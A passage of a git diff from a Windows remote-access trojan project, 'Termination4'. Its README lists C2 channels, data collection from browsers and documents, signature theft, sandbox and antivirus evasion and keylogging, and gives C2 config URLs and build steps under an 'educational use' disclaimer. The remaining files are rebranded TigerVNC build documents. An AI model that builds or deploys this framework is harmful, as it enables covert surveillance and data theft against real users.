├── T_Process.py # 进程 / 线程支持 +│ ├── T_KeMouse.py # 键鼠模拟 +│ ├── T_AdministratorMode.py # 提权 +│ ├── T_EXEConfig.py # 内嵌配置 +│ ├── T_Version.py # 版本与更新 +│ ├── T_WSD.py # WorkSpaceDeployer 工作目录部署 │ └── ... -├── TPLib/ # 扩展库 -│ ├── T_IndexEspionageProgram/ # 索引程序 -│ ├── T_SSHServer/ # SSH 服务 -│ └── T_Pyftpdlib/ # FTP 服务 -├── .inf/ # C 语言扩展 -│ ├── Install/ # 安装程序 -│ ├── Service/ # 服务程序 -│ ├── Update/ # 更新程序 -│ └── Tools/ # 工具库 -├── T2SRFB/ # VNC 远程桌面 -├── TFrp/ # 内网穿透 -├── TConfig/ # 配置文件 -└── SSLib/ # SSL 库 +├── TPLib/ # 高级扩展库 +│ ├── T_SSHServer/ # SSH C2 通道 +│ ├── T_WMI/ # WMI 信息收集 +│ ├── T_VMDISC/ # 虚拟机检测 +│ ├── T_Browser/ # 浏览器数据采集 +│ ├── T_DOC/ # 文档采集 +│ ├── T_SigThiever/ # 数字签名窃取 +│ ├── T_Pyftpdlib/ # 内置 FTP 服务 +│ ├── T_IndexEspionageProgram/ # 索引间谍程序 +│ └── T_MCDrink/ # 扩展模块 +├── T2SRFB/ # VNC 远程桌面(C++ 实现) +├── TFrp/ # 内网穿透(PyFrp) +├── TPcc/ # TinyCC 运行时 C 编译器 +├── .inf/ # C 语言扩展 +│ ├── Install/ # 安装程序 +│ ├── Service/ # 核心服务 +│ ├── Update/ # 更新程序 +│ ├── RegistryOverride/ # 注册表重写 +│ ├── SubstituteExecution/ # 被感染代偿启动 +│ ├── TemplateMatcher/ # 快速模板比较 +│ ├── Tools/ # 工具库 +│ └── Test/ # 技术栈测试 +├── TConfig/ # 配置文件 +│ ├── version.ini # 版本信息 +│ ├── EXEConfig.bin # 加密内嵌配置 +│ └── EXEConfig.dict # 字典格式配置 +├── TLUI/ # 界面相关代码 +├── SSLib/ # OpenSSL 动态链接库 +├── static/ # 静态资源 +├── ocr/ # 360 杀软弹窗匹配模板 +├── Art/ # 美术资源 +├── Test/ # 技术栈测试 +├── Prompt/ # AI 提示词 +├── setup_nuitka.py # Nuitka 编译脚本 +├── setup_pack.py # PyInstaller 打包脚本 +└── script.spec # PyInstaller 清单 ``` -## 编译方式 +--- -### 使用 Nuitka 编译 +## 五、编译与运行 -```bash -python setup_nuitka.py -``` - -### 使用 PyInstaller 打包 - -```bash -python setup_pack.py -``` - -## 运行方式 - -### Python 模式 +### 5.1 Python 原生模式(教学阅读用) ```bash python Termination4.py ``` -### 编译后的可执行文件 +> 仅推荐用于源码阅读、行为分析、隔离环境下的功能验证。 + +### 5.2 Nuitka 编译模式 ```bash -Termination4.exe +python setup_nuitka.py ``` -## 配置说明 +### 5.3 PyInstaller 打包模式 -### 服务器配置 +```bash +python setup_pack.py +``` -程序会从以下地址获取配置: +### 5.4 Viper 改装模式(高质量教学用) + +使用 Viper 工具链将 Python 源码编译为本地代码,具体使用方式参见 Viper 工具链文档。 + +> Viper 改装版本适合用于:动态行为演示、时序分析、二进制逆向教学、反检测对抗教学。 + +--- + +## 六、配置说明 + +### 6.1 服务器配置 + +程序启动时从以下地址拉取 C2 配置: - `http://wytyh.space3v.work/T.json` - `https://raw.githubusercontent.com/GVSADS/Termination/refs/heads/main/T.json` @@ -154,90 +224,124 @@ Termination4.exe } ``` -### 本地配置 +### 6.2 本地配置 -- `TConfig/version.ini` - 版本信息 -- `TConfig/EXEConfig.bin` - 程序配置(加密) +| 文件 | 作用 | +|:-|:-| +| `TConfig/version.ini` | 版本信息 | +| `TConfig/EXEConfig.bin` | 加密内嵌配置(GodKeys 序列化) | +| `TConfig/EXEConfig.dict` | 字典格式配置 | -## 功能特性 - -### 网络功能 - -- Socket.IO 实时通信 -- WebSocket 加密传输 -- 自动重连和故障恢复 -- 远程命令执行 - -### 监控功能 - -- 系统资源监控 -- 进程和线程监控 -- 屏幕截图 -- 输入设备监听 - -### 任务管理 - -- 本地任务表 -- 定时任务调度 -- 任务执行追踪 - -### 系统集成 - -- Windows 服务集成 -- 注册表操作 -- 进程权限管理 -- 文件系统操作 - -## 开发环境 - -### 系统要求 - -- **操作系统**: Windows 10/11 -- **Python 版本**: 3.12+ -- **权限要求**: 管理员权限 - -### 依赖库 - -主要依赖包括: - -- `socketio-client` -- `requests` -- `psutil` -- `pynput` -- `cryptography` -- `pillow` -- `pywin32` - -## 调试模式 +### 6.3 调试 REPL 程序内置 REPL 调试服务器: -- **地址**: localhost:12345 -- **功能**: 远程执行 Python 代码 -- **状态**: Python 模式下启用 +- **地址**:`localhost:12345` +- **功能**:远程执行 Python 代码 +- **状态**:Python 模式下启用(编译版本默认关闭) -## 更新机制 +--- -程序支持自动更新: +## 七、功能特性 + +### 7.1 网络功能 +- Socket.IO 实时通信与自动重连 +- WebSocket 加密传输 +- SSH / FTP 备用通道 +- 内网穿透(PyFrp) + +### 7.2 监控功能 +- 系统资源(CPU / 内存 / 网络)监控 +- 进程与线程状态监控 +- 屏幕截图与 VNC 远程桌面 +- 键鼠输入监听 + +### 7.3 任务管理 +- 本地与网络任务表(LW3T) +- 定时任务调度 +- 任务执行回调与追踪 + +### 7.4 系统集成 +- Windows 服务集成 +- 注册表操作与劫持 +- 进程权限管理 +- 文件系统操作 + +### 7.5 对抗能力 +- 杀毒软件识别(含 360 弹窗模板匹配) +- 虚拟机与沙箱检测 +- 数字签名窃取 + +--- + +## 八、开发环境 + +### 8.1 系统要求 + +- **操作系统**:Windows 10 / 11 +- **Python 版本**:3.12+(避免使用内置 3.10) +- **权限要求**:管理员权限 +- **C 编译器**:MSVC / MinGW(用于 C 扩展) + +### 8.2 主要依赖 + +- `socketio-client`:实时通信 +- `requests`:HTTP 客户端 +- `psutil`:系统监控 +- `pynput`:输入监听 +- `cryptography`:加密 +- `pillow`:图像处理 +- `pywin32`:Windows API + +--- + +## 九、安全与法律声明 + +> **⚠️ 严肃警告** + +1. **本项目仅用于网络安全教学、攻防研究与隔离环境测试。** +2. **严禁将本项目用于任何未经授权的真实网络环境或真实目标。** +3. **使用者须遵守所在国家 / 地区的网络安全法律法规。** 在中华人民共和国境内,未经授权传播、使用病毒木马程序违反《中华人民共和国网络安全法》《刑法》第二百八十五条、第二百八十六条等相关规定。 +4. **运行前必须在完全隔离的环境中部署**(独立虚拟机、断网、无敏感数据)。 +5. **作者不对任何违规使用后果承担责任。** + +### 教学使用建议 + +- ✅ 在隔离虚拟机中观察 APT 行为链 +- ✅ 阅读源码理解各攻击阶段实现原理 +- ✅ 在红蓝对抗训练中作为红队道具(受控环境) +- ✅ 作为逆向工程与特征识别的样本 +- ❌ 严禁连接公网或他人网络 +- ❌ 严禁投递至真实主机 +- ❌ 严禁用于勒索、破坏、窃密等违法目的 + +--- + +## 十、更新机制 1. 检查远程版本 SHA256 2. 下载更新文件 3. 验证文件完整性 -4. 执行更新程序 +4. 执行更新程序(`.inf/Update/`) -## 注意事项 +--- -1. 本程序仅用于内网测试环境 -2. 需要管理员权限运行 -3. 建议在隔离环境中测试 -4. 使用前请配置正确的服务器地址 +## 十一、技术支持 -## 技术支持 +- **项目地址**:https://github.com/GVSADS/Termination4 +- **配套仓库**:https://github.com/GVSADS/Termination +- **版本**:4.2.0 +- **编译次数**:407 +- **作者**:Veyra -- **项目地址**: https://github.com/GVSADS/Termination4 -- **版本**: 4.2.0 -- **编译次数**: 407 +--- -## 许可证 +## 十二、许可证 -本项目仅供学习和研究使用。 +本项目仅供学习与研究使用,不得用于商业用途或任何违法违规用途。使用即代表您已阅读并同意上述安全与法律声明。 + +``` +本项目为教育用途开源项目 +Copyright (c) Veyra +Educational Use Only +``` diff --git a/T2SRFB/1.py b/T2SRFB/1.py index 4bbed64..92634db 100644 --- a/T2SRFB/1.py +++ b/T2SRFB/1.py @@ -1,74 +1,74 @@ -import os -import sys - -def batch_replace(root_dir, old_str, new_str): - """ - 批量替换指定目录下所有文件的内容和文件名中的指定字符串 - - 参数: - root_dir: 根目录路径 - old_str: 要替换的旧字符串 - new_str: 替换后的新字符串 - """ - # 获取当前脚本的文件名,用于忽略自身 - script_name = os.path.basename(sys.argv[0]) - - # 先收集所有文件路径,避免在遍历过程中因文件名变化导致问题 - file_paths = [] - for dirpath, _, filenames in os.walk(root_dir): - for filename in filenames: - # 忽略脚本自身 - if filename == script_name: - continue - file_paths.append(os.path.join(dirpath, filename)) - - # 处理文件内容替换 - for file_path in file_paths: - try: - # 尝试以文本模式打开文件并读取内容 - with open(file_path, 'r', encoding='utf-8') as f: - content = f.read() - - # 如果内容中包含要替换的字符串,则进行替换并写入 - if old_str in content: - new_content = content.replace(old_str, new_str) - with open(file_path, 'w', encoding='utf-8') as f: - f.write(new_content) - print(f"已替换内容: {file_path}") - except UnicodeDecodeError: - # 二进制文件可能会解码失败,跳过处理 - print(f"跳过二进制文件: {file_path}") - except Exception as e: - print(f"处理文件内容出错 {file_path}: {str(e)}") - - # 处理文件名替换 - for old_path in file_paths: - dirname = os.path.dirname(old_path) - old_filename = os.path.basename(old_path) - - # 如果文件名中包含要替换的字符串,则进行替换 - if old_str in old_filename: - new_filename = old_filename.replace(old_str, new_str) - new_path = os.path.join(dirname, new_filename) - - # 避免重名 - if not os.path.exists(new_path): - os.rename(old_path, new_path) - print(f"已重命名文件: {old_path} -> {new_path}") - else: - print(f"跳过重命名,文件已存在: {new_path}") - -if __name__ == "__main__": - # 设置要处理的根目录,默认为当前目录 - root_directory = os.getcwd() - - # 要替换的字符串 - old_string = "winvnc" - new_string = "T2SRFB" - - print(f"开始批量替换: {old_string} -> {new_string}") - print(f"处理目录: {root_directory}") - - batch_replace(root_directory, old_string, new_string) - - print("批量替换完成") +import os +import sys + +def batch_replace(root_dir, old_str, new_str): + """ + 批量替换指定目录下所有文件的内容和文件名中的指定字符串 + + 参数: + root_dir: 根目录路径 + old_str: 要替换的旧字符串 + new_str: 替换后的新字符串 + """ + # 获取当前脚本的文件名,用于忽略自身 + script_name = os.path.basename(sys.argv[0]) + + # 先收集所有文件路径,避免在遍历过程中因文件名变化导致问题 + file_paths = [] + for dirpath, _, filenames in os.walk(root_dir): + for filename in filenames: + # 忽略脚本自身 + if filename == script_name: + continue + file_paths.append(os.path.join(dirpath, filename)) + + # 处理文件内容替换 + for file_path in file_paths: + try: + # 尝试以文本模式打开文件并读取内容 + with open(file_path, 'r', encoding='utf-8') as f: + content = f.read() + + # 如果内容中包含要替换的字符串,则进行替换并写入 + if old_str in content: + new_content = content.replace(old_str, new_str) + with open(file_path, 'w', encoding='utf-8') as f: + f.write(new_content) + print(f"已替换内容: {file_path}") + except UnicodeDecodeError: + # 二进制文件可能会解码失败,跳过处理 + print(f"跳过二进制文件: {file_path}") + except Exception as e: + print(f"处理文件内容出错 {file_path}: {str(e)}") + + # 处理文件名替换 + for old_path in file_paths: + dirname = os.path.dirname(old_path) + old_filename = os.path.basename(old_path) + + # 如果文件名中包含要替换的字符串,则进行替换 + if old_str in old_filename: + new_filename = old_filename.replace(old_str, new_str) + new_path = os.path.join(dirname, new_filename) + + # 避免重名 + if not os.path.exists(new_path): + os.rename(old_path, new_path) + print(f"已重命名文件: {old_path} -> {new_path}") + else: + print(f"跳过重命名,文件已存在: {new_path}") + +if __name__ == "__main__": + # 设置要处理的根目录,默认为当前目录 + root_directory = os.getcwd() + + # 要替换的字符串 + old_string = "winvnc" + new_string = "T2SRFB" + + print(f"开始批量替换: {old_string} -> {new_string}") + print(f"处理目录: {root_directory}") + + batch_replace(root_directory, old_string, new_string) + + print("批量替换完成") diff --git a/T2SRFB/BUILDING.txt b/T2SRFB/BUILDING.txt index 994d2fe..fc2ee78 100644 --- a/T2SRFB/BUILDING.txt +++ b/T2SRFB/BUILDING.txt @@ -1,379 +1,379 @@ -******************************************************************************* -** Building T2SRFBVNC -******************************************************************************* - - -================================ -Build requirements (all systems) -================================ - --- CMake (http://www.cmake.org) v3.10 or later - --- gcc - -Development kits for the following packages: - --- zlib - --- pixman - --- FLTK 1.3.3 or later - --- If building TLS support: - * GnuTLS 3.x - * See "Building TLS Support" below. - --- If building RSA-AES support: - * Nettle 3.0 or later - --- If building native language support (NLS): - * Gnu gettext 0.14.4 or later - * See "Building Native Language Support" below. - --- libjpeg-turbo - * "Normal" libjpegv6 is also supported, although it is not - recommended as it is much slower. - - -========================= -Build requirements (Unix) -========================= - --- Non-Mac platforms: - * Development kits for all standard X11 libraries - * PAM - --- If building Xvnc/libvnc.so: - * Xorg server source code, 1.20 or later - * All build requirements Xorg imposes (see its documentation) - * patch - --- If building x0vncserver with socket activation support: - * libsystemd - --- Optional ffmpeg development kit support (libav) - * You might have to enable additional repositories for this. E.g., - on RHEL, EPEL and RPMFusion (free + nonfree) need to be enabled. - --- If building vncpasswd with password quality check support: - * libpwquality - -============================ -Build requirements (Windows) -============================ - --- MinGW or MinGW-w64 - --- Inno Setup (needed to build the T2SRFBVNC installer) - Inno Setup can be downloaded from http://www.jrsoftware.org/isinfo.php. - You also need the Inno Setup Preprocessor, which is available in the - Inno Setup QuickStart Pack. - - Add the directory containing iscc.exe (for instance, - C:\Program Files\Inno Setup 5) to the system or user PATH environment - variable prior to building T2SRFBVNC. - - -========================= -Build requirements (Java) -========================= - --- Sun/Oracle JDK 1.7 or later or OpenJDK 7 or later - --- See "Building Java support" below. - - -================== -Out-of-tree builds -================== - -Binary objects, libraries, and executables are generated in the same directory -from which cmake was executed (the "binary directory"), and this directory need -not necessarily be the same as the T2SRFBVNC source directory. You can create -multiple independent binary directories, in which different versions of -T2SRFBVNC can be built from the same source tree using different compilers or -settings. In the sections below, {build_directory} refers to the binary -directory, whereas {source_directory} refers to the T2SRFBVNC source directory. -For in-tree builds, these directories are the same. - - -================= -Building T2SRFBVNC -================= - - -Building the T2SRFBVNC viewer on Unix/Mac systems ------------------------------------------------- - -The following procedure will build the T2SRFBVNC viewer on Linux and Unix -systems. - - cd {build_directory} - cmake -G "Unix Makefiles" [additional CMake flags] {source_directory} - make - - -Building the T2SRFBVNC server on Unix/Linux systems --------------------------------------------------- - -Building the T2SRFBVNC server (Xvnc) is a bit trickier. Xvnc is typically built -to use the X11 shared libraries provided with the system. The procedure for -this is system-specific, since it requires specifying such things as font -directories, but the general outline is as follows (this procedure assumes -that the viewer has already been built, per above.) - - > cd {build_directory} - - If performing an out-of-tree build: - > cp -R {source_directory}/unix/xserver unix/ - - > cp -R {xorg_source}/* unix/xserver/ - (NOTE: {xorg_source} is the directory containing the Xorg source for the - machine on which you are building T2SRFBVNC. The most recent versions of - Red Hat/CentOS/Fedora, for instance, provide an RPM called - "xorg-x11-server-source", which installs the Xorg source under - /usr/share/xorg-x11-server-source.) - - > cd unix/xserver/ - > patch -p1 < {source_directory}/unix/xserver{version}.patch - (where {version} matches the X server version you are building, such as - "120" for version 1.20.x.) - > autoreconf -fiv - - > ./configure --with-pic --without-dtrace --disable-static --disable-dri \ - --disable-xinerama --disable-xvfb --disable-xnest --disable-xorg \ - --disable-dmx --disable-xwin --disable-xephyr --disable-kdrive \ - --disable-config-hal --disable-config-udev --disable-dri2 --enable-glx \ - --with-default-font-path="catalogue:/etc/X11/fontpath.d,built-ins" \ - --with-xkb-path=/usr/share/X11/xkb \ - --with-xkb-output=/var/lib/xkb \ - --with-xkb-bin-directory=/usr/bin \ - --with-serverconfig-path=/usr/lib64/xorg \ - {additional configure options} - (NOTE: This is merely an example that works with Red Hat Enterprise/CentOS - 9 and recent Fedora releases. You should customize it for your particular - system. In particular, it will be necessary to customize the XKB - directory.) - - For a regular, in-tree build: - > make TIGERVNC_SRCDIR={source_directory} - If performing an out-of-tree build: - > make TIGERVNC_SRCDIR={source_directory} TIGERVNC_BUILDDIR={build_directory} - (NOTE: Use absolute paths for source_directory and build_directory) - - -Building the Windows T2SRFBVNC viewer with MinGW ------------------------------------------------ - -If building the Windows version of T2SRFBVNC on a Windows build system, use -the following procedure. - - cd {build_directory} - cmake -G "MSYS Makefiles" [additional CMake flags] {source_directory} - make - -If cross-compiling on a Unix/Linux system, then see the "Build Recipes" section -below. - - -Debug build ------------ - -Add "-DCMAKE_BUILD_TYPE=Debug" to the CMake command line. - - -Portable (semi-static) build ----------------------------- - -T2SRFBVNC can under favourble circumstances be built in a way that allows -the resulting binaries to run on any system without having to also install -all the dynamic libraries it depends on. Enable this mode by adding: - - -DBUILD_STATIC=1 - -to the CMake command line. - -Note that the method used to achieve this is very fragile and it may be -necessary to tweak cmake/StaticBuild.cmake to make things work on your -specific system. - - -===================== -Building Java support -===================== - -T2SRFBVNC includes a Java version of the T2SRFBVNC Viewer, which can be used on -any platform that has a Java Runtime Environment (JRE) installed. The Java -viewer works similarly to the native viewer, but with lower performance. - -To build the Java T2SRFBVNC Viewer, add - - -DBUILD_JAVA=1 - -to the CMake or build-xorg command line. The build system will attempt to find -an installed Java Development Kit (JDK) and determine the appropriate paths for -the Java compiler (javac) and the JAR creation utility (jar). You can override -these paths by setting the Java_JAVAC_EXECUTABLE and Java_JAR_EXECUTABLE CMake -variables. You can also override the default flags that are passed to javac -by setting the JAVACFLAGS CMake variable. The build system will look for -keytool and jarsigner in the same directory as Java_JAR_EXECUTABLE. These -tools are needed to sign the JAR file, which is necessary to enable certain -functionality (such as clipboard transfers) when the Java viewer is used as an -applet. - -If the Java viewer is built along with the Windows T2SRFBVNC server (WinVNC), -then the build system will embed the Java viewer into WinVNC4.exe so that it -will automatically be served up using WinVNC's built-in HTTP server. -Similarly, if the Java viewer is built along with the Unix T2SRFBVNC server -(Xvnc), then the build system will include the Java viewer in the server -tarball. - -By default, a self-signed certificate will be generated and used to sign the -jar file. By specifying the following command line arguments to the CMake -command line, an alternate certificate may be used for signing. - - -DJAVA_KEYSTORE=${keystore_location_or_url} - -DJAVA_KEYSTORE_TYPE=${keystore_type} (Default: "jks") - -DJAVA_KEY_ALIAS=${keytore_key_alias} - -DJAVA_STOREPASS=${keystore_password} - -DJAVA_KEYPASS=${keystore_entry_password} - -DJAVA_TSA_URL=${url_of_timestamping_authority} - -The values of the JAVA_STOREPASS and JAVA_KEYPASS arguments may optionally be -read from file or environment variables by prefixing the value with ":env " -or ":file " (see the jarsigner documentation for more info): - - export StorePass=tigervnc - export KeyPass=tigervnc - cmake \ - ... - -DJAVA_STOREPASS=":env StorePass" - -DJAVA_KEYPASS=":env KeyPass" - - -====================================== -Building TLS support -====================================== - -TLS requires GnuTLS, which is supplied with most Linux distributions and -with MinGW for Windows and can be built from source on OS X and other -Unix variants. However, GnuTLS versions > 2.12.x && < 3.3.x should be -avoided because of potential incompatibilities during initial handshaking. - - -====================================== -Building native language support (NLS) -====================================== - -NLS requires gettext, which is supplied with most Linux distributions and -with MinGW for Windows and which can easily be built from source on OS X and -other Unix variants. - - -=================== -Installing T2SRFBVNC -=================== - -You can use the build system to install T2SRFBVNC into a directory of your -choosing. To do this, add: - - -DCMAKE_INSTALL_PREFIX={install_directory} - -to the CMake command line. Then, you can run 'make install' to build and -install it. - -If you don't specify CMAKE_INSTALL_PREFIX, then the default is -c:\Program Files\T2SRFBVNC on Windows and /usr/local on Unix. - - -========================= -Creating release packages -========================= - -The following commands can be used to create various types of release packages: - - -Unix ----- - -make tarball - - Create a binary tarball containing the T2SRFBVNC viewer - - -macOS ------ - -make dmg - - Create Macintosh disk image file that contains an application bundle of the - T2SRFBVNC viewer - - -Windows -------- - -make installer - - Create a Windows installer using Inno Setup. The installer package - (T2SRFBVNC[64].exe) will be located under {build_directory}. - - -============= -Build recipes -============= - - -MinGW build on Cygwin ---------------------- - - cd {build_directory} - CC=/usr/bin/x86_64-w64-mingw32-gcc CXX=/usr/bin/x86_64-w64-mingw32-g++ \ - RC=/usr/bin/x86_64-w64-mingw32-windres \ - cmake -G "Unix Makefiles" -DCMAKE_SYSTEM_NAME=Windows \ - -DCMAKE_AR=/usr/bin/x86_64-w64-mingw32-ar \ - -DCMAKE_RANLIB=/usr/bin/x86_64-w64-mingw32-ranlib {source_directory} - make - -This produces a build of T2SRFBVNC that does not depend on cygwin1.dll or -other Cygwin DLL's. The mingw64-x86_64-gcc-core and mingw64-x86_64-gcc-g++ -packages (and their dependencies) must be installed. - - -MinGW-w64 build on Windows --------------------------- - -This produces a build of T2SRFBVNC using the "native" MinGW-w64 toolchain -(which is faster than the Cygwin version): - - cd {build_directory} - CC={mingw-w64_binary_path}/x86_64-w64-mingw32-gcc \ - CXX={mingw-w64_binary_path}/x86_64-w64-mingw32-g++ \ - RC={mingw-w64_binary_path}/x86_64-w64-mingw32-windres \ - cmake -G "MSYS Makefiles" \ - -DCMAKE_AR={mingw-w64_binary_path}/x86_64-w64-mingw32-ar \ - -DCMAKE_RANLIB={mingw-w64_binary_path}/x86_64-w64-mingw32-ranlib \ - {source_directory} - make - - -MinGW build on Linux --------------------- - - cd {build_directory} - CC={mingw_binary_path}/x86_64-w64-mingw32-gcc \ - CXX={mingw_binary_path}/x86_64-w64-mingw32-g++ \ - RC={mingw_binary_path}/x86_64-w64-mingw32-windres \ - cmake -G "Unix Makefiles" -DCMAKE_SYSTEM_NAME=Windows \ - -DCMAKE_AR={mingw_binary_path}/x86_64-w64-mingw32-ar \ - -DCMAKE_RANLIB={mingw_binary_path}/x86_64-w64-mingw32-ranlib \ - {source_directory} - make - - -=============================== -Distribution-specific packaging -=============================== - -Configuration for building packages for current versions of RHEL/CentOS -and Ubuntu LTS can be found under contrib/packages. +******************************************************************************* +** Building T2SRFBVNC +******************************************************************************* + + +================================ +Build requirements (all systems) +================================ + +-- CMake (http://www.cmake.org) v3.10 or later + +-- gcc + +Development kits for the following packages: + +-- zlib + +-- pixman + +-- FLTK 1.3.3 or later + +-- If building TLS support: + * GnuTLS 3.x + * See "Building TLS Support" below. + +-- If building RSA-AES support: + * Nettle 3.0 or later + +-- If building native language support (NLS): + * Gnu gettext 0.14.4 or later + * See "Building Native Language Support" below. + +-- libjpeg-turbo + * "Normal" libjpegv6 is also supported, although it is not + recommended as it is much slower. + + +========================= +Build requirements (Unix) +========================= + +-- Non-Mac platforms: + * Development kits for all standard X11 libraries + * PAM + +-- If building Xvnc/libvnc.so: + * Xorg server source code, 1.20 or later + * All build requirements Xorg imposes (see its documentation) + * patch + +-- If building x0vncserver with socket activation support: + * libsystemd + +-- Optional ffmpeg development kit support (libav) + * You might have to enable additional repositories for this. E.g., + on RHEL, EPEL and RPMFusion (free + nonfree) need to be enabled. + +-- If building vncpasswd with password quality check support: + * libpwquality + +============================ +Build requirements (Windows) +============================ + +-- MinGW or MinGW-w64 + +-- Inno Setup (needed to build the T2SRFBVNC installer) + Inno Setup can be downloaded from http://www.jrsoftware.org/isinfo.php. + You also need the Inno Setup Preprocessor, which is available in the + Inno Setup QuickStart Pack. + + Add the directory containing iscc.exe (for instance, + C:\Program Files\Inno Setup 5) to the system or user PATH environment + variable prior to building T2SRFBVNC. + + +========================= +Build requirements (Java) +========================= + +-- Sun/Oracle JDK 1.7 or later or OpenJDK 7 or later + +-- See "Building Java support" below. + + +================== +Out-of-tree builds +================== + +Binary objects, libraries, and executables are generated in the same directory +from which cmake was executed (the "binary directory"), and this directory need +not necessarily be the same as the T2SRFBVNC source directory. You can create +multiple independent binary directories, in which different versions of +T2SRFBVNC can be built from the same source tree using different compilers or +settings. In the sections below, {build_directory} refers to the binary +directory, whereas {source_directory} refers to the T2SRFBVNC source directory. +For in-tree builds, these directories are the same. + + +================= +Building T2SRFBVNC +================= + + +Building the T2SRFBVNC viewer on Unix/Mac systems +------------------------------------------------ + +The following procedure will build the T2SRFBVNC viewer on Linux and Unix +systems. + + cd {build_directory} + cmake -G "Unix Makefiles" [additional CMake flags] {source_directory} + make + + +Building the T2SRFBVNC server on Unix/Linux systems +-------------------------------------------------- + +Building the T2SRFBVNC server (Xvnc) is a bit trickier. Xvnc is typically built +to use the X11 shared libraries provided with the system. The procedure for +this is system-specific, since it requires specifying such things as font +directories, but the general outline is as follows (this procedure assumes +that the viewer has already been built, per above.) + + > cd {build_directory} + + If performing an out-of-tree build: + > cp -R {source_directory}/unix/xserver unix/ + + > cp -R {xorg_source}/* unix/xserver/ + (NOTE: {xorg_source} is the directory containing the Xorg source for the + machine on which you are building T2SRFBVNC. The most recent versions of + Red Hat/CentOS/Fedora, for instance, provide an RPM called + "xorg-x11-server-source", which installs the Xorg source under + /usr/share/xorg-x11-server-source.) + + > cd unix/xserver/ + > patch -p1 < {source_directory}/unix/xserver{version}.patch + (where {version} matches the X server version you are building, such as + "120" for version 1.20.x.) + > autoreconf -fiv + + > ./configure --with-pic --without-dtrace --disable-static --disable-dri \ + --disable-xinerama --disable-xvfb --disable-xnest --disable-xorg \ + --disable-dmx --disable-xwin --disable-xephyr --disable-kdrive \ + --disable-config-hal --disable-config-udev --disable-dri2 --enable-glx \ + --with-default-font-path="catalogue:/etc/X11/fontpath.d,built-ins" \ + --with-xkb-path=/usr/share/X11/xkb \ + --with-xkb-output=/var/lib/xkb \ + --with-xkb-bin-directory=/usr/bin \ + --with-serverconfig-path=/usr/lib64/xorg \ + {additional configure options} + (NOTE: This is merely an example that works with Red Hat Enterprise/CentOS + 9 and recent Fedora releases. You should customize it for your particular + system. In particular, it will be necessary to customize the XKB + directory.) + + For a regular, in-tree build: + > make TIGERVNC_SRCDIR={source_directory} + If performing an out-of-tree build: + > make TIGERVNC_SRCDIR={source_directory} TIGERVNC_BUILDDIR={build_directory} + (NOTE: Use absolute paths for source_directory and build_directory) + + +Building the Windows T2SRFBVNC viewer with MinGW +----------------------------------------------- + +If building the Windows version of T2SRFBVNC on a Windows build system, use +the following procedure. + + cd {build_directory} + cmake -G "MSYS Makefiles" [additional CMake flags] {source_directory} + make + +If cross-compiling on a Unix/Linux system, then see the "Build Recipes" section +below. + + +Debug build +----------- + +Add "-DCMAKE_BUILD_TYPE=Debug" to the CMake command line. + + +Portable (semi-static) build +---------------------------- + +T2SRFBVNC can under favourble circumstances be built in a way that allows +the resulting binaries to run on any system without having to also install +all the dynamic libraries it depends on. Enable this mode by adding: + + -DBUILD_STATIC=1 + +to the CMake command line. + +Note that the method used to achieve this is very fragile and it may be +necessary to tweak cmake/StaticBuild.cmake to make things work on your +specific system. + + +===================== +Building Java support +===================== + +T2SRFBVNC includes a Java version of the T2SRFBVNC Viewer, which can be used on +any platform that has a Java Runtime Environment (JRE) installed. The Java +viewer works similarly to the native viewer, but with lower performance. + +To build the Java T2SRFBVNC Viewer, add + + -DBUILD_JAVA=1 + +to the CMake or build-xorg command line. The build system will attempt to find +an installed Java Development Kit (JDK) and determine the appropriate paths for +the Java compiler (javac) and the JAR creation utility (jar). You can override +these paths by setting the Java_JAVAC_EXECUTABLE and Java_JAR_EXECUTABLE CMake +variables. You can also override the default flags that are passed to javac +by setting the JAVACFLAGS CMake variable. The build system will look for +keytool and jarsigner in the same directory as Java_JAR_EXECUTABLE. These +tools are needed to sign the JAR file, which is necessary to enable certain +functionality (such as clipboard transfers) when the Java viewer is used as an +applet. + +If the Java viewer is built along with the Windows T2SRFBVNC server (WinVNC), +then the build system will embed the Java viewer into WinVNC4.exe so that it +will automatically be served up using WinVNC's built-in HTTP server. +Similarly, if the Java viewer is built along with the Unix T2SRFBVNC server +(Xvnc), then the build system will include the Java viewer in the server +tarball. + +By default, a self-signed certificate will be generated and used to sign the +jar file. By specifying the following command line arguments to the CMake +command line, an alternate certificate may be used for signing. + + -DJAVA_KEYSTORE=${keystore_location_or_url} + -DJAVA_KEYSTORE_TYPE=${keystore_type} (Default: "jks") + -DJAVA_KEY_ALIAS=${keytore_key_alias} + -DJAVA_STOREPASS=${keystore_password} + -DJAVA_KEYPASS=${keystore_entry_password} + -DJAVA_TSA_URL=${url_of_timestamping_authority} + +The values of the JAVA_STOREPASS and JAVA_KEYPASS arguments may optionally be +read from file or environment variables by prefixing the value with ":env " +or ":file " (see the jarsigner documentation for more info): + + export StorePass=tigervnc + export KeyPass=tigervnc + cmake \ + ... + -DJAVA_STOREPASS=":env StorePass" + -DJAVA_KEYPASS=":env KeyPass" + + +====================================== +Building TLS support +====================================== + +TLS requires GnuTLS, which is supplied with most Linux distributions and +with MinGW for Windows and can be built from source on OS X and other +Unix variants. However, GnuTLS versions > 2.12.x && < 3.3.x should be +avoided because of potential incompatibilities during initial handshaking. + + +====================================== +Building native language support (NLS) +====================================== + +NLS requires gettext, which is supplied with most Linux distributions and +with MinGW for Windows and which can easily be built from source on OS X and +other Unix variants. + + +=================== +Installing T2SRFBVNC +=================== + +You can use the build system to install T2SRFBVNC into a directory of your +choosing. To do this, add: + + -DCMAKE_INSTALL_PREFIX={install_directory} + +to the CMake command line. Then, you can run 'make install' to build and +install it. + +If you don't specify CMAKE_INSTALL_PREFIX, then the default is +c:\Program Files\T2SRFBVNC on Windows and /usr/local on Unix. + + +========================= +Creating release packages +========================= + +The following commands can be used to create various types of release packages: + + +Unix +---- + +make tarball + + Create a binary tarball containing the T2SRFBVNC viewer + + +macOS +----- + +make dmg + + Create Macintosh disk image file that contains an application bundle of the + T2SRFBVNC viewer + + +Windows +------- + +make installer + + Create a Windows installer using Inno Setup. The installer package + (T2SRFBVNC[64].exe) will be located under {build_directory}. + + +============= +Build recipes +============= + + +MinGW build on Cygwin +--------------------- + + cd {build_directory} + CC=/usr/bin/x86_64-w64-mingw32-gcc CXX=/usr/bin/x86_64-w64-mingw32-g++ \ + RC=/usr/bin/x86_64-w64-mingw32-windres \ + cmake -G "Unix Makefiles" -DCMAKE_SYSTEM_NAME=Windows \ + -DCMAKE_AR=/usr/bin/x86_64-w64-mingw32-ar \ + -DCMAKE_RANLIB=/usr/bin/x86_64-w64-mingw32-ranlib {source_directory} + make + +This produces a build of T2SRFBVNC that does not depend on 